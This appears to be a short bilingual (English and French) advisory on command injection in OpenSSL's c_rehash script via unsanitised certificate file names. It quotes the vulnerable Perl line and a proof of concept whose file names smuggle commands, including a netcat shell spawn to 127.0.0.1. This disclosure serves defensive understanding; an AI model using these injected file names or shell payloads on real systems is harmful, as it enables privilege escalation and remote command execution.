
OpenSSL

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
Une injection de commandes se produit car les noms de fichiers ne sont pas correctement nettoyés :
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;Cette partie du script est vulnérable, car la fermeture des backticks permet l'exécution de commandes, par exemple un fichier nommé : MyCert.crt`whoami` exécutera "whoami".
/etc/ssl/certs/ (par défaut) ou d'autres chemins configurés dans update-ca-certificatesecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc comme exemple de charge utile)c_rehash .